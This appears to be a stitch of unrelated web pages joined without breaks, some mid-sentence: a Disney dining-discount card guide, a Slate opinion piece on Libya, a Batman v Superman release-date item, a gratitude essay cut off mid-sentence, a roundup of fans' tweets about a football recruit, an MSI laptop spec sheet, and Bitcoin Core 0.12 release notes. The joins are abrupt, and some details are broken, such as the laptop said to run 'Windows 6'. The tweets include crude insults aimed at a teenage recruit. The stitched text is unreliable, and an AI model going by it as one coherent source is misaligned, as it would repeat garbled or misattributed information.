Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.In Walt Disney World there is an option to save money on dining other than the Disney Dining Plan. For those of you who prefer a more flexible dining experience, there is the Tables In Wonderland Card. This handy card with a funny name (formerly the Disney Dining Experience) offers a straight percentage discount off of your food and beverage (including alcohol) purchases. But, there are a few caveats, and this card isn’t for everyone. So here are the basics you need to know about the Tables In Wonderland Card.
Who? Not everyone is eligible for the Tables In Wonderland card, and those who are must purchase it at an additional cost. Florida Residents (with proof) may purchase the card for $175. Disney Vacation Club Members, Annual and Seasonal Passholders may purchase the card for $150. Only guests over 21 years of age who fall into those categories are able to buy the Tables In Wonderland card. If you need more than one card for your family, for a spouse to carry for example, that is an additional $50. Now, arguments can be made that it might make sense for one member of your traveling party to upgrade their tickets to an Annual Pass to be able to purchase the Tables In Wonderland Card (along with the other Annual Pass discounts on rooms, recreation, merchandise, etc.) even if you only have one trip planned that year, but we won’t get into that math in this article.
What? The Tables In Wonderland card is a dining discount of 20% off eligible food and beverages (excluding tax and gratuity) for up to 10 members of your dining party. This also includes alcoholic beverages, but the locations where the card is accepted are limited (see the Where? Section). 18% gratuity is automatically added when using the card. In addition, you receive complimentary parking. At resorts this means you can valet park your car for free—all you need to do is present your dining receipt and Tables In Wonderland card when you go to the valet stand to retrieve your vehicle. This is a great convenience and savings for cardholders. At the theme parks it is a little more complicated. If you arrive before 5:00pm you will pay at the toll booth, then present your card, dining receipt and parking ticket to Guest Relations for a refund (only if you’ve been in the park less than 3 hours). After 5:00pm you can show your Tables In Wonderland card at the toll booth for entry into the parking lot.
When? Well, there a couple of different “when’s” for the card. When does the card expire? The card generally expires a little more than 1 year after you purchase it. When during the day can I use my card? The card can be used for any meal time (breakfast, lunch or dinner) at participating restaurants. When should you purchase it? Of course, common sense dictates that you should purchase your card at the very beginning of your trip to make sure you are able to get as many discounts as possible on that trip (see Where? For more details). When can you not use your card? Some time periods are blacked out for the discount at all restaurants including, Mother’s Day, Easter, 4th of July, Thanksgiving Day, Christmas Eve, Christmas Day, New Year’s Eve, New Year’s Day along with days surrounding these holidays at certain restaurants (1900 Park Fare, Chef Mickey’s, ‘Ohana (Dinner Only), Cinderella’s Royal Table, LeChefs de France, Akershus Royal Banquet Hall, and Le Cellier Steakhouse).
Where? First of all, the Tables In Wonderland card itself must be purchased at a Guest Relations location at Epcot, Magic Kingdom, Animal Kingdom, Disney’s Hollywood Studios, or Downtown Disney, or by calling (407) 566-5858. Disney Vacation Club members must purchase their card in person at Guest Relations, and be prepared to present your Photo ID and DVC membership card. It does take several weeks to process, so if you are visiting soon do not order by phone, but plan to purchase onsite for immediate availability. Here is a list of the locations that accept the Tables In Wonderland Card in 2015:
Disney’s All-Star Movies Resort
World Premiere
Food Court
Disney’s All-Star Music Resort
Intermission Food Court
Disney’s All-Star Sports Resort
End Zone Food Court
Disney’s Animal Kingdom
Lodge
Boma – Flavors
of Africa
of Africa Cape Town Lounge and Wine Bar
Jiko – The Cooking Place
Sanaa
Victoria Falls
Disney’s Art of Animation Resort
Landscape of Flavors
Disney’s Beach Club Resort
Beaches & Cream
Soda Shop (excludes
take-out shop)
Soda Shop (excludes take-out shop) Cape May Café
Martha’s Vineyard Lounge
Disney’s BoardWalk Resort
Belle Vue Lounge (excludes breakfast)
Big River Grille
& Brewing Works
& Brewing Works ESPN® Club
Flying Fish Café
Trattoria al Forno
Disney’s Caribbean Beach Resort
Shutters at Old Point Royale
Disney’s Contemporary Resort
California Grill
Chef Mickey’s*
Outer Rim
The Wave … of American Flavors
Disney’s Coronado Springs Resort
Maya Grill
Disney’s Fort Wilderness
Resort & Campground
Crockett’s Tavern
Hoop-Dee-Doo Musical Revue (late show only)
Trail’s End Restaurant (Excludes take out shop)
Mickey’s Backyard BBQ (New as of July 31st 2014)
Disney’s Grand Floridian
Resort & Spa
1900 Park Fare*
Citricos
Grand Floridian Café
Mizner’s Lounge
Narcoossee’s
Disney’s Old Key West Resort
Olivia’s Café
Gurgling Suitcase
Disney’s Polynesian Resort
‘Ohana*
Kona Cafe
Spirit of Aloha Dinner Show (late show only)
Tambu Lounge
Disney’s Pop Century Resort
Everything Pop Shopping and Dining (excludes merchandise from shop)
Disney’s Port Orleans Resort
– French Quarter
Sassagoula Floatworks
and Food Factory
and Food Factory Scat Cat’s Club
Disney’s Port Orleans Resort – Riverside
Boatwright’s Dining Hall
River Roost
Disney’s Saratoga Springs Resort
The Artist’s Palette
The Turf Club Bar and Grill
The Turf Club Lounge
Disney’s Vero Beach Resort
The Green Cabin Room
Shutters
Sonya’s
Disney’s Wilderness Lodge
Artist Point
Territory Lounge
Whispering Canyon Cafe
Walt Disney World Swan & Dolphin Resort
Garden Grove
Il Mulino New York Trattoria
Kimonos
Shula’s Steak House
Todd English’s bluezoo
Disney’s Yacht Club Resort
Ale and Compass Lounge
Captain’s Grille
Crew’s Cup Lounge
Yachtsman Steakhouse
Magic Kingdom® Park
Be Our Guest Restaurant (Dinner Only)
Cinderella’s Royal Table*
Liberty Tree Tavern
The Crystal Palace
The Plaza Restaurant
Tony’s Town
Square Restaurant
Epcot®
Akershus Royal
Banquet Hall*
Banquet Hall* Biergarten Restaurant
Coral Reef Restaurant
Le Cellier Steakhouse*
Les Chefs de France (Lunch Only)
Nine Dragons Restaurant
Restaurant Marrakesh
Rose & Crown Pub & Dining Room
San Angel Inn Restaurante
Spice Road Table(New!)
The Garden Grill Restaurant
Tokyo Dining
Tutto Italia Ristorante
Via Napoli Ristorante e Pizzeria
Disney’s Hollywood Studios™
50’s Prime Time Cafe
Hollywood & Vine
Mama Melrose’s
Ristorante Italiano
Ristorante Italiano Sci-Fi Dine-In
Theater
Theater The Hollywood
Brown Derby
Brown Derby Tune-In Lounge
Animal Kingdom®
Flame Tree Barbecue
Pizzafari
Restaurantosaurus
Tusker House Restaurant
Disney Springs™
– The Landing
Fulton’s Crab House
Morimoto Asia (New!)
Paradiso 37, Taste of the Americas
Portobello
Raglan Road” Irish Pub
and Restaurant
Disney Springs™
– West Side
House Of Blues®
(Excludes Sunday Brunch) †
(Excludes Sunday Brunch) † Planet Hollywood®
Splitsville™ (Excludes merchandise and bowling)
Wolfgang Puck® Cafe
ESPN Wide World
of Sports®
ESPN Wide World
of Sports Grill
Why? Well, for the savings of course! At $150 for an Annual Passholder, you need to spend $750 in food and drink to break even and make up your $100 investment. Don’t forget, you can use this on alcohol, and with a Grand Marnier Slush ringing in at over $9 that can add up quickly! If you have a long trip, or will visit multiple times in that one year period it probably makes sense. And, if you are eligible to purchase it anyway, you are probably a frequent visitor. We will get more into this in future articles on Tables In Wonderland—for instance, Does it make sense to do this instead of the Dining Plan? Would this work with the Dining Plan? Should you buy an Annual Pass to get Tables In Wonderland? Stay tuned for the answers to these and other burning questions. Other “bonus” advantages include special invitations to exclusive dining events at the parks and resorts just for Tables In Wonderland cardholders (by advance reservation only, and space is very limited).
How? Here is how it works: The discount only applies to the member’s check. If you are paying for the entire table, then the entire table gets the discount. If you want to split the check, only the portion the cardholder pays for will receive the discount. An automatic gratuity of 18% is added when you use your Tables In Wonderland card at a table service restaurant, regardless of party size. Some may say this negates the savings, but you should be tipping your server anyway, this just makes it automatic. I’m sure if you have a serious issue with unsatisfactory service you could speak to a manager and have the gratuity removed so that you can adjust it as you like. On the same note, for exemplary service you could add a few percent more (as I did for an exceptional server at the Sci-Fi Dine in who brought snacks to my toddler, large to-go refills for us older folks, and treated the birthday boy extra special). You should let your server know at the beginning of your meal that you will be using the Tables In Wonderland discount. This way you both have it on your minds when the time the bill comes around. You won’t actually give them the card until you pay your check. There are some restaurants, like Cinderella’s Royal Table, where you prepay when making the reservation. With the Tables In Wonderland card you must still prepay, but you present your card when you dine and you will be refunded the 20% discount. There are a few other restrictions. You cannot combine it with any other discounts or packages. So, you can’t use it for a discount on the Fantasmic Dining Package, Candlelight Processional Packages, or Food and Wine Festival events. But you can use it with the Disney Dining Plan. You could pay for your meal with your Dining Plan credits, then use Tables In Wonderland for its discount on the cocktails that you had with dinner, or an added appetizer since the Dining Plan doesn’t cover those items.
The Tables In Wonderland card can offer a fantastic discount to a variety of travelers to Walt Disney World, and we will take a closer look at that in future articles to see just who can benefit the most from this discount program. Have you used the Tables In Wonderland Card? What did you think about its benefits?Read more of Slate’s coverage of the Libya conflict.
Libyan leader Muammar Qadaffi
The stand of the “realist” school, and its objections to further or faster involvement in the Libya crisis, can be fairly summarized as follows:
1) Libya contains too many unknowns for us to be sure whom we would be supporting. We thus run the risk of breaching the principle of primo non nocere, or “first do no harm.”
2) The relative calm of Tripoli, when contrasted with the upheaval in Benghazi, points to a historic east-west divide between the former provinces of Tripolitania and Cyrenaica, which predates the formation of the modern Libyan state and might itself be destabilizing. The West might inadvertently ignite a sectarian regionalism culminating in fragmentation or partition.
3) The U.N. Security Council will not legalize the means with which to remove Muammar Qaddafi.
4) The Arab world is highly dubious about Western intervention and quick to take offense at anything smacking of a revived colonialism.
5) A “no-fly zone” is less simple than it sounds, since it necessarily involves a confrontation with a Russian-built air-defense system and would almost certainly necessitate the next step, which would be boots-on-the-ground military action and perhaps a period of occupation, for which the portents are not encouraging.
6) Political change in Libya should, in any case, be the work—as with the precedents of Tunisia and Egypt—of home-grown social forces.
The first two points are quite strong ones, but they become less persuasive unless one assumes the persistence in power of the Qaddafi clan. The actual evidence, however, is that Qaddafi senior has reached his Ceausescu moment: a full-dress (in the literal sense) meltdown into paranoia, megalomania, and delusion. His recent speeches and appearances have shown him stinking with madness and hysteria. His age and condition, at any rate, set a very sharp limit to the duration of his regime. If that regime implodes while he is still “in place,” then all the grim consequences foreseen by the realists will be incurred in any case. Weapons will get into the wrong hands; divide-and-rule tactics (already a stock in trade) will intensify; religious and tribal passions will be deliberately inflamed. The main difference will be that we merely watched this happen.
It might bear remembering that when, in 1989, Ceausescu did try to go to war with his own population, Secretary of State James Baker made the unprecedented public statement that the United States would not object to a Russian intervention to spare further chaos and misery in Romania. Are the Russians and the Chinese so wedded to the legal niceties, or so proud of their association with Qaddafi, that they would repudiate a speech from President Barack Obama in which he asked for reciprocation? We cannot know this if such a speech is never made or even contemplated.
Further, to points (3) and (4): The Arab League has now itself broken with decades of torpor, declared the Qaddafi regime illegitimate, and called for the imposition of a no-fly zone. This unprecedented resolution, which is not contradicted by any measurable pro-Qaddafi opinion in the legendary “Arab street,” seems to draw much of the sting from the realist concern about regional opinion. The Shiite population has not forgotten Qaddafi’s role in the disappearance and presumed murder of Imam Musa Sadr; Saudi officials have been targeted by his death squads; many other states have cause to resent his criminal meddling over the years.
Qaddafi is also particularly disliked in Egypt, whose armed forces we have been sustaining at a high level of sophistication (and expense) for several decades. Should the Obama administration not now be pressing Egypt to give point to its Arab League vote and to take a share of responsibility for local law enforcement? It would be a great baptism of the new Egyptian republic. But, again, one hears only the sound of shuffling.
As to the feasibility of a no-fly zone, I pointed out several weeks ago what I couldn’t avoid noticing on two brief visits to Libya: The entire country is in effect a long strip of coastline, with a vast hinterland of desert, bordering a sea, where the strongest force by far is the Sixth Fleet. This elementary point has been taken up and elaborated in a very considered—one might almost call it realist—Wall Street Journal article by James Thomas and Zachary Cooper. These two experts at the Center for Strategic and Budgetary Assessments emphasize that “[u]nlike in the Balkans and Iraq, Libya’s most populated cities and airbases are situated near its coastline, with most situated less than 10 miles from the shore” (my italics). This sheer geographical fact gives us the option of using ship- and aircraft-based missiles without sending any planes into Libyan airspace, what the authors call a “stand-off no-fly zone.”
There are a number of other low-cost tactics that could affect the odds, such as jamming Qaddafi’s airwaves. But what principally strikes the eye is not the absence of resources—or, indeed, options—but the absence of preparedness. When the Libyan crisis began, and for some time afterward, the Sixth Fleet did not even have a carrier in the Mediterranean. What could be less “realistic” than that? Given our long and nasty history with Qaddafi and the many signs of an impending rebellion, this seems to argue an unusual level of insouciance.
If the other side in this argument is correct, or even to the extent that it is correct, then we are being warned that a maimed and traumatized Libya is in our future, no matter what. That being the case, a piecemeal and improvised policy is the least pragmatic one. Even if Qaddafi temporarily turns the tide, as seems thinkable, and covers us all with shame for doing so, we will still have it all to do again. Let us at least hope that certain excuses will not be available next time.Batman v Superman release date change, to March 2016, is being dubbed a “bold move” by Warner Bros. president, a day after the unsurprising announcement. The studio decided that it wouldn’t interfere with Captain America 3 on May 6, 2016, after all and now there is a little bit of explanation as to why DC Entertainment decided to flinch.
It used to be that blockbusters were synonym with Summer, but that is not the case anymore and it couldn’t be more apparent than in the case of Batman v Superman’s date change. Warner Bros. is banking of the fact that a great movie will be popular and attract movie-goers no matter what time of the year it is.
Veronika Kwan Vandenberg, president of Warner Bros. international distribution is confident in what Zack Snyder will do with Batman v Superman: Dawn of Justice:
“If you have a great film, people will come no matter when it’s dated. It’s a bold move, but we’re taking it because we think it’s such a great film.”
Kwan Vandenberg may be right, since traditionally big blockbusters have been released in the Summer months, including Man of Steel, Batman v Superman’s prequel, which was released to great fanfare on June 14, 2013 (it seems like ages ago). Warner Bros. is following in the footsteps of big box office success stories, Gravity (October) and The Lego Movie (February), both of which proved that the weather has nothing to do with people coming to the movie theaters.
The Warner Bros. executive was also pleased with the results Batman v Superman: Dawn of Justice had at San Diego Comic Con, where it was dubbed the most talked about film, to the surprise of Marvel fans, who are used to taking all the limelight. But Warner Bros. isn’t the only studio that has tested the waters releasing blockbusters outside of summer months, their rivals Marvel released Captain America: The Winter Soldier in April of 2014 very successfully.
On the other hand, what many expected to be big blockbusters The Amazing Spider-Man 2 and Godzilla opened big, but suffered on their second weekend. This proves that an overcrowded market is not a good thing, no matter how big the production is and may support a stand alone date earlier in the year.
With the new March 25, 2016 date for Batman v Superman: Dawn of Justice, Warner Bros. will have access to school kids during Spring break and Easter holiday, a time which proved to be successful for films like The Hunger Games and Alice in Wonderland. We will see if the move pays off for the studio.
What do you think of the Batman v Superman date change?
[Image via Comic Bastards]by Ernest Dempsey
Focus on what you don’t have and you will never have enough. Be thankful for what you do have and you will end up having even more.
It’s a vague feeling you can’t quite put your finger on. From the outside, people might think you have an awesome life, but they can’t see what’s going on in your head. Emptiness fills your thoughts and emotions all too often, nagging at you throughout the day. You set goals but they never satisfy your ego. The search can seem almost endless at times.
And the question continues to circulate throughout your mind: “How do I find happiness?”
You don’t have to live like this. Fortunately, there is a better way to view the world that will lead to what you seek. The first step along the way is to stop searching. You will never find happiness by continuously looking for it. When you focus on the lack of something in your life, what you seek will always elude you.
Rather than dwelling on what is missing, begin to look at what you have. This isn’t just about material items. It can be people, experiences, pets, or anything else you have present in your life. When you focus on the abundance you already have, the negative feelings that come from lacking something else gradually fade from your conscious.
Having trouble thinking of some things to feel grateful for? Here’s a short list of things you have to smile about – some obvious signs you’re doing just fine in life:
You have food available to eat. – When you eat something today, even if it’s just a small snack, give thanks. Savor it and appreciate the fact that you can grab something to eat anytime you’re hungry. Stop and think about the farmers and manufacturers who provided it, and even the people who distributed the food to your location. A lot of work goes into making your food available to you. Be grateful for it. There is a nearby faucet with clean water. – In many parts of the world clean water is not readily available. Some people walk miles just to get water that is dirty and contaminated. Others struggle through tough terrain and incredible danger to get access to the very same quality of water you have on-demand access to. So next time you turn on your faucet, smile. You take a warm shower at least once a day. – Speaking of water, this one is so easy to take for granted, especially if you shower every morning just to freshen yourself up. So many people don’t have access to clean water, let alone clean warm water that can instantly wash over their skin and help them greet the morning. You do, however, and this is a true privilege. You have your own comfortable bed. – When you get home after a long day and plop down on your bed to rest, it’s easy to forget how miserable you would be without it. It’s easy to forget about the thousands of people in this world that don’t have this luxury. So next time you lay down on your bed, take a second and feel how soft and comfy it is and say, “Thank you.” As you close your eyes, let appreciation pour from your heart. There’s a roof over your head and walls around you. – While you’re in your bed at |
meeting the juiced-up Urban Meyer (and a visit to Hangover Easy), Ohio State vaulted to the top of Gibson's list.
Today, the nation's top 2015 dual-threat quarterback committed to Ohio State. This made a lot of people happy.
But, while Ohio State has one of the nation's largest and most diverse fan bases, there are many, many more people that hate the Buckeyes. (Such is the price of success, after all.)
So, it's of no surprise fans of teams that aren't Ohio State took to social media platforms to deal with their anger and disbelief that a talented #teen didn't commit to their school. And while it was predictable, it doesn't make it any less hilarious.
(Trigger warning: football language ahead.)
LET THE TEARS ROLL.
4-5 Tennessee is not interested in a Top 50 prospect. Hall of Famers only.
Whats my grandad texted me when he found out ab Torrance Gibson pic.twitter.com/WR0i4GN9ky — Gavin Norwood (@GN___42) November 3, 2014
Grandad seems like a well-adjusted adult, but he can text, which is nice.
Terrelle Pryor never played for Hutchinson CC; he was also never coached by Urban Meyer.
... Sir, there is no M in Torrance Gibson.
So Gibson not wanting to go to Miami was in part because he knows he won't play ahead of @TrinidadBrad..sounds about right. — Nick Lewis (@NickLewis20) November 3, 2014
The other parts: playing in front of hundreds of fans and Miami's 6-3 record.
It's funny how UT, Auburn, LSU, FSU, and Bama all stopped recruiting Torrance Gibson because he's such a piece of shit but Urban don't care — Cole Cabbage (@ColeCabbage27) November 3, 2014
I have no other response here but to laugh at the delusion.
@JWagnerOSU we dropped him because he's a thug and Butch Jones doesn't deal with those kids unlike Urban Meyer — Eric Adams (@MrEricAdams) November 3, 2014
Tweet through it, big cat; tweet through it.
Who is Josh Dobbs?
Gibson ain't fucking with Dobbs anyway — Talented Mr. Ripley (@MrRipley03) November 3, 2014
Oh.
Glad Tennessee steered clear of Torrance Gibson. I feel like that would have been nothing but trouble. — Cody Lehman (@Cody_Lehman) November 3, 2014
I must have missed the report on Torrance's lengthy criminal rap sheep.
With Dwayne Lawson committed here, Gibson goes elsewhere. No PT in Miami and he knows it. — Manny Perez (@mperez_amc) November 3, 2014
Torrance Gibson thought he was gonna play QB at Miami with Kaaya? Lol — Mr. Dissapointing (@javycane) November 3, 2014
Torrance Gibson committed to a team with Braxton Miller, J.T. Barrett, Cardale Jones, Stephen Collier, and a fellow recruit with a 42:1 touchdown:interception ratio... but I guess the idea of competing with Brad Kaaya was too much.
Juaun Jennings is still a better QB than Torrance Gibson. — Dylan Parker (@dcparker658) November 3, 2014
But what about Josh Dobbs!?
Torrance Gibson commits to Ohio State. He knows he doesn't have a chance to play QB with Dobbs in Knoxville for two more years. — Wes Tripp (@wes_tripp) November 3, 2014
I assume "future Hall of Famer" Josh Dobbs is just assumed in Volunteer parlance.
We didn't want Gibson anyways. — Ben Kelley (@Benjamaynee_11) November 3, 2014
God bless college football fans... yes, even the delusional ones in Tennessee.Key Specifications of MSI’s GE40 Gaming Laptop
October 11, 2013
You must have heard about gaming laptops. If yes then surely you must have also known of MSI’s gaming laptops. If no then it is for your information that MSI is a vendor for graphics cards. And when it comes to MSI notebooks, they offer utmost design in notebooks.
It is termed as one of the best gaming laptops. The first GE40 laptop is being open in market with the roll-out of Intel’s Core CPUs belonging to the fourth generation. With this, the Haswell architecture is rolled too in the GE 60 series that has a display of 15.6 inches. It uses the Cooler Boost 2.0 technology that comes with sizeable batteries. Each laptop is well equipped with processors. The small GE40 model has Intel Core i7-4702MQ that has a power value of 37W and the GE60 processor has value of 47W.The battery capacity is large and the life of the battery is quite flexible in GE40 series.
For Nvidia GTX 760M which is found in GE40, the GPU ratings are around 50W. The ratings are based on GK106 chip in a 765 M version which is used in larger laptops. Over here the power drawn is up till 75W.
The specifications of MSI GE40 include that it has dimensions of 339*239*29.2mm with a weight of 1.95kg and a chipset of Intel Fourth Gen HM87. The Intel Core i7-4702MQ at 2.2 GHZ and a display of 14 inch 1600*900 LED screen is available. 8GB DDR3 RAM and storage of 750GB HDD is present in this MSI gaming laptop. There is also a provision for Wifi and Bluetooth 4.0. The operating system used is Windows 6 is of 64 bits. There is a DVD-RW also present in the laptop. The laptop has battery of 65Wh that comprises of lithium-ion. Other key features of the laptop include VGA output, HDMI output, a SD card reader and an Ethernet port. There are 1X USB 2.0 ports and 2X USB 3.0 ports also available in the gaming system.
It should not be a case where one misses buying this amazing series of gaming laptop.
AdvertisementsThis is a new major version release, bringing new features and other improvements.
If you want to downgrade after you have done a reindex with 0.12.0 or later, you will need to reindex when you first start Bitcoin Core version 0.11 or earlier.
Because release 0.12.0 and later will obfuscate the chainstate on every fresh sync or reindex, the chainstate is not backwards-compatible with pre-0.12 versions of Bitcoin Core or other software.
If you want to be able to downgrade smoothly, make a backup of your entire data directory. Without this your node will need start syncing (or importing from bootstrap.dat) anew afterwards. It is possible that the data from a completely synchronised 0.10 node may be usable in older versions as-is, but this is not supported and may break as soon as the older version attempts to reindex.
The block index database will now hold headers for which no block is stored on disk, which earlier versions won’t support.
Blocks will be stored on disk out of order (in the order they are received, really), which makes it incompatible with some tools or other programs. Reindexing using earlier versions will also not work anymore as a result of this.
Because release 0.10.0 and later makes use of headers-first synchronization and parallel block download (see further), the block files and databases are not backwards-compatible with pre-0.10 versions of Bitcoin Core or other software:
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), then run the installer (on Windows) or just copy over /Applications/Bitcoin-Qt (on Mac) or bitcoind/bitcoin-qt (on Linux).
Notable changes
Signature validation using libsecp256k1
ECDSA signatures inside Bitcoin transactions now use validation using libsecp256k1 instead of OpenSSL.
Depending on the platform, this means a significant speedup for raw signature validation speed. The advantage is largest on x86_64, where validation is over five times faster. In practice, this translates to a raw reindexing and new block validation times that are less than half of what it was before.
Libsecp256k1 has undergone very extensive testing and validation.
A side effect of this change is that libconsensus no longer depends on OpenSSL.
Reduce upload traffic
A major part of the outbound traffic is caused by serving historic blocks to other nodes in initial block download state.
It is now possible to reduce the total upload traffic via the -maxuploadtarget parameter. This is not a hard limit but a threshold to minimize the outbound traffic. When the limit is about to be reached, the uploaded data is cut by not serving historic blocks (blocks older than one week). Moreover, any SPV peer is disconnected when they request a filtered block.
This option can be specified in MiB per day and is turned off by default ( -maxuploadtarget=0 ). The recommended minimum is 144 * MAX_BLOCK_SIZE (currently 144MB) per day.
Whitelisted peers will never be disconnected, although their traffic counts for calculating the target.
A more detailed documentation about keeping traffic low can be found in /doc/reduce-traffic.md.
Direct headers announcement (BIP 130)
Between compatible peers, [BIP 130] (https://github.com/bitcoin/bips/blob/master/bip-0130.mediawiki) direct headers announcement is used. This means that blocks are advertised by announcing their headers directly, instead of just announcing the hash. In a reorganization, all new headers are sent, instead of just the new tip. This can often prevent an extra roundtrip before the actual block is downloaded.
With this change, pruning nodes are now able to relay new blocks to compatible peers.
Memory pool limiting
Previous versions of Bitcoin Core had their mempool limited by checking a transaction’s fees against the node’s minimum relay fee. There was no upper bound on the size of the mempool and attackers could send a large number of transactions paying just slighly more than the default minimum relay fee to crash nodes with relatively low RAM. A temporary workaround for previous versions of Bitcoin Core was to raise the default minimum relay fee.
Bitcoin Core 0.12 will have a strict maximum size on the mempool. The default value is 300 MB and can be configured with the -maxmempool parameter. Whenever a transaction would cause the mempool to exceed its maximum size, the transaction that (along with in-mempool descendants) has the lowest total feerate (as a package) will be evicted and the node’s effective minimum relay feerate will be increased to match this feerate plus the initial minimum relay feerate. The initial minimum relay feerate is set to 1000 satoshis per kB.
Bitcoin Core 0.12 also introduces new default policy limits on the length and size of unconfirmed transaction chains that are allowed in the mempool (generally limiting the length of unconfirmed chains to 25 transactions, with a total size of 101 KB). These limits can be overriden using command line arguments; see the extended help ( --help -help-debug ) for more information.
Opt-in Replace-by-fee transactions
It is now possible to replace transactions in the transaction memory pool of Bitcoin Core 0.12 nodes. Bitcoin Core will only allow replacement of transactions which have any of their inputs’ nSequence number set to less than 0xffffffff - 1. Moreover, a replacement transaction may only be accepted when it pays sufficient fee, as described in [BIP 125] (https://github.com/bitcoin/bips/blob/master/bip-0125.mediawiki).
Transaction replacement can be disabled with a new command line option, -mempoolreplacement=0. Transactions signaling replacement under BIP125 will still be allowed into the mempool in this configuration, but replacements will be rejected. This option is intended for miners who want to continue the transaction selection behavior of previous releases.
The -mempoolreplacement option is not recommended for wallet users seeking to avoid receipt of unconfirmed opt-in transactions, because this option does not prevent transactions which are replaceable under BIP 125 from being accepted (only subsequent replacements, which other nodes on the network that implement BIP 125 are likely to relay and mine). Wallet users wishing to detect whether a transaction is subject to replacement under BIP 125 should instead use the updated RPC calls gettransaction and listtransactions, which now have an additional field in the output indicating if a transaction is replaceable under BIP125 (“bip125-replaceable”).
Note that the wallet in Bitcoin Core 0.12 does not yet have support for creating transactions that would be replaceable under BIP 125.
RPC: Random-cookie RPC authentication
When no -rpcpassword is specified, the daemon now uses a special ‘cookie’ file for authentication. This file is generated with random content when the daemon starts, and deleted when it exits. Its contents are used as authentication token. Read access to this file controls who can access through RPC. By default it is stored in the data directory but its location can be overridden with the option -rpccookiefile.
This is similar to Tor’s CookieAuthentication: see https://www.torproject.org/docs/tor-manual.html.en
This allows running bitcoind without having to do any manual configuration.
Relay: Any sequence of pushdatas in OP_RETURN outputs now allowed
Previously OP_RETURN outputs with a payload were only relayed and mined if they had a single pushdata. This restriction has been lifted to allow any combination of data pushes and numeric constant opcodes (OP_1 to OP_16) after the OP_RETURN. The limit on OP_RETURN output size is now applied to the entire serialized scriptPubKey, 83 bytes by default. (the previous 80 byte default plus three bytes overhead)
Relay and Mining: Priority transactions
Bitcoin Core has a heuristic ‘priority’ based on coin value and age. This calculation is used for relaying of transactions which do not pay the minimum relay fee, and can be used as an alternative way of sorting transactions for mined blocks. Bitcoin Core will relay transactions with insufficient fees depending on the setting of -limitfreerelay=<r> (default: r=15 kB per minute) and -blockprioritysize=<s>.
In Bitcoin Core 0.12, when mempool limit has been reached a higher minimum relay fee takes effect to limit memory usage. Transactions which do not meet this higher effective minimum relay fee will not be relayed or mined even if they rank highly according to the priority heuristic.
The mining of transactions based on their priority is also now disabled by default. To re-enable it, simply set -blockprioritysize=<n> where is the size in bytes of your blocks to reserve for these transactions. The old default was 50k, so to retain approximately the same policy, you would set -blockprioritysize=50000.
Additionally, as a result of computational simplifications, the priority value used for transactions received with unconfirmed inputs is lower than in prior versions due to avoiding recomputing the amounts as input transactions confirm.
External miner policy set via the prioritisetransaction RPC to rank transactions already in the mempool continues to work as it has previously. Note, however, that if mining priority transactions is left disabled, the priority delta will be ignored and only the fee metric will be effective.
This internal automatic prioritization handling is being considered for removal entirely in Bitcoin Core 0.13, and it is at this time undecided whether the more accurate priority calculation for chained unconfirmed transactions will be restored. Community direction on this topic is particularly requested to help set project priorities.
Automatically use Tor hidden services
Starting with Tor version 0.2.7.1 it is possible, through Tor’s control socket API, to create and destroy ‘ephemeral’ hidden services programmatically. Bitcoin Core has been updated to make use of this.
This means that if Tor is running (and proper authorization is available), Bitcoin Core automatically creates a hidden service to listen on, without manual configuration. Bitcoin Core will also use Tor automatically to connect to other.onion nodes if the control socket can be successfully opened. This will positively affect the number of available.onion nodes and their usage.
This new feature is enabled by default if Bitcoin Core is listening, and a connection to Tor can be made. It can be configured with the -listenonion, -torcontrol and -torpassword settings. To show verbose debugging information, pass -debug=tor.
Notifications through ZMQ
Bitcoind can now (optionally) asynchronously notify clients through a ZMQ-based PUB socket of the arrival of new transactions and blocks. This feature requires installation of the ZMQ C API library 4.x and configuring its use through the command line or configuration file. Please see docs/zmq.md for details of operation.
Wallet: Transaction fees
Various improvements have been made to how the wallet calculates transaction fees.
Users can decide to pay a predefined fee rate by setting -paytxfee=<n> (or settxfee <n> rpc during runtime). A value of n=0 signals Bitcoin Core to use floating fees. By default, Bitcoin Core will use floating fees.
Based on past transaction data, floating fees approximate the fees required to get into the m th block from now. This is configurable with -txconfirmtarget=<m> (default: 2 ).
Sometimes, it is not possible to give good estimates, or an estimate at all. Therefore, a fallback value can be set with -fallbackfee=<f> (default: 0.0002 BTC/kB).
At all times, Bitcoin Core will cap fees at -maxtxfee=<x> (default: 0.10) BTC. Furthermore, Bitcoin Core will never create transactions paying less than the current minimum relay fee. Finally, a user can set the minimum fee rate for all transactions with -mintxfee=<i>, which defaults to 1000 satoshis per kB.
Wallet: Negative confirmations and conflict detection
The wallet will now report a negative number for confirmations that indicates how deep in the block chain the conflict is found. For example, if a transaction A has 5 confirmations and spends the same input as a wallet transaction B, B will be reported as having -5 confirmations. If another wallet transaction C spends an output from B, it will also be reported as having -5 confirmations. To detect conflicts with historical transactions in the chain a one-time -rescan may be needed.
Unlike earlier versions, unconfirmed but non-conflicting transactions will never get a negative confirmation count. They are not treated as spendable unless they’re coming from ourself (change) and accepted into our local mempool, however. The new “trusted” field in the listtransactions RPC output indicates whether outputs of an unconfirmed transaction are considered spendable.
Wallet: Merkle branches removed
Previously, every wallet transaction stored a Merkle branch to prove its presence in blocks. This wasn’t being used for more than an expensive sanity check. Since 0.12, these are no longer stored. When loading a 0.12 wallet into an older version, it will automatically rescan to avoid failed checks.
Wallet: Pruning
With 0.12 it is possible to use wallet functionality in pruned mode. This can reduce the disk usage from currently around 60 GB to around 2 GB.
However, rescans as well as the RPCs importwallet, importaddress, importprivkey are disabled.
To enable block pruning set prune=<N> on the command line or in bitcoin.conf, where N is the number of MiB to allot for raw block & undo data.
A value of 0 disables pruning. The minimal value above 0 is 550. Your wallet is as secure with high values as it is with low ones. Higher values merely ensure that your node will not shut down upon blockchain reorganizations of more than 2 days - which are unlikely to happen in practice. In future releases, a higher value may also help the network as a whole: stored blocks could be served to other nodes.
For further information about pruning, you may also consult the release notes of v0.11.0.
NODE_BLOOM service bit
Support for the NODE_BLOOM service bit, as described in BIP 111, has been added to the P2P protocol code.
BIP 111 defines a service bit to allow peers to advertise that they support bloom filters (such as used by SPV clients) explicitly. It also bumps the protocol version to allow peers to identify old nodes which allow bloom filtering of the connection despite lacking the new service bit.
In this version, it is only enforced for peers that send protocol versions >=70011. For the next major version it is planned that this restriction will be removed. It is recommended to update SPV clients to check for the NODE_BLOOM service bit for nodes that report versions newer than 70011.
Option parsing behavior
